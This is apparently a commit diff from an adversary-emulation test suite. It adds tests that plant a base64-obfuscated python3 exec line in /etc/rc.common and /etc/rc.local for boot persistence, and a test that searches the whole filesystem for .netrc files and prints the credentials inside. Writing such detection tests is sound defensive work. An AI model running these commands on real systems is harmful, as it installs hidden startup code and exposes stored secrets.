printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
|
||||
sudo chmod +x /etc/rc.common
|
||||
```
|
||||
|
||||
#### Cleanup Commands:
|
||||
```bash
|
||||
origfilename='/etc/rc.common.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #3 - rc.local
|
||||
Modify rc.local
|
||||
|
||||
**Supported Platforms:** Linux
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)
|
||||
|
||||
|
||||
```bash
|
||||
filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
|
||||
printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.local
|
||||
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
|
||||
printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.local
|
||||
sudo chmod +x /etc/rc.local
|
||||
```
|
||||
|
||||
#### Cleanup Commands:
|
||||
```bash
|
||||
origfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -15,3 +15,42 @@ atomic_tests:
|
||||
elevation_required: true
|
||||
name: bash
|
||||
|
||||
|
||||
- name: rc.common
|
||||
auto_generated_guid: c33f3d80-5f04-419b-a13a-854d1cbdbf3a
|
||||
description: |
|
||||
Modify rc.common
|
||||
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
name: bash
|
||||
elevation_required: true
|
||||
command: |
|
||||
filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
|
||||
printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
|
||||
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
|
||||
printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
|
||||
sudo chmod +x /etc/rc.common
|
||||
cleanup_command: |
|
||||
origfilename='/etc/rc.common.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi
|
||||
|
||||
- name: rc.local
|
||||
auto_generated_guid: 126f71af-e1c9-405c-94ef-26a47b16c102
|
||||
description: |
|
||||
Modify rc.local
|
||||
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
name: bash
|
||||
elevation_required: true
|
||||
command: |
|
||||
filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
|
||||
printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.local
|
||||
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
|
||||
printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.local
|
||||
sudo chmod +x /etc/rc.local
|
||||
cleanup_command: |
|
||||
origfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi
|
||||
|
||||
|
||||
@@ -76,4 +76,3 @@ systemctl daemon-reload
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
|
||||
@@ -16,6 +16,8 @@ In cloud and/or containerized environments, authenticated user and service accou
|
||||
|
||||
- [Atomic Test #4 - Access unattend.xml](#atomic-test-4---access-unattendxml)
|
||||
|
||||
- [Atomic Test #5 - Find and Access Github Credentials](#atomic-test-5---find-and-access-github-credentials)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -120,4 +122,28 @@ type C:\Windows\Panther\Unattend\unattend.xml
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #5 - Find and Access Github Credentials
|
||||
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
|
||||
|
||||
**Supported Platforms:** macOS, Linux
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `bash`!
|
||||
|
||||
|
||||
```bash
|
||||
for file in $(find / -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -51,4 +51,20 @@ atomic_tests:
|
||||
type C:\Windows\Panther\unattend.xml
|
||||
type C:\Windows\Panther\Unattend\unattend.xml
|
||||
name: command_prompt
|
||||
elevation_required: true
|
||||
elevation_required: true
|
||||
|
||||
- name: Find and Access Github Credentials
|
||||
auto_generated_guid: da4f751a-020b-40d7-b9ff-d433b7799803
|
||||
description: |
|
||||
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
|
||||
|
||||
supported_platforms:
|
||||
- macos
|
||||
- linux
|
||||
|
||||
executor:
|
||||
name: bash
|
||||
elevation_required: false # Indicates whether command must be run with admin privileges. If the elevation_required attribute is not defined, the value is assumed to be false.
|
||||
command: |
|
||||
for file in $(find / -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
|
||||
|
||||
|
||||
@@ -706,3 +706,6 @@ e2d85e66-cb66-4ed7-93b1-833fc56c9319
|
||||
0b2f9520-a17a-4671-9dba-3bd034099fff
|
||||
28104f8a-4ff1-4582-bcf6-699dce156608
|
||||
46f8dbe9-22a5-4770-8513-66119c5be63b
|
||||
c33f3d80-5f04-419b-a13a-854d1cbdbf3a
|
||||
126f71af-e1c9-405c-94ef-26a47b16c102
|
||||
da4f751a-020b-40d7-b9ff-d433b7799803
|
||||
|
||||
Reference in New Issue
Block a user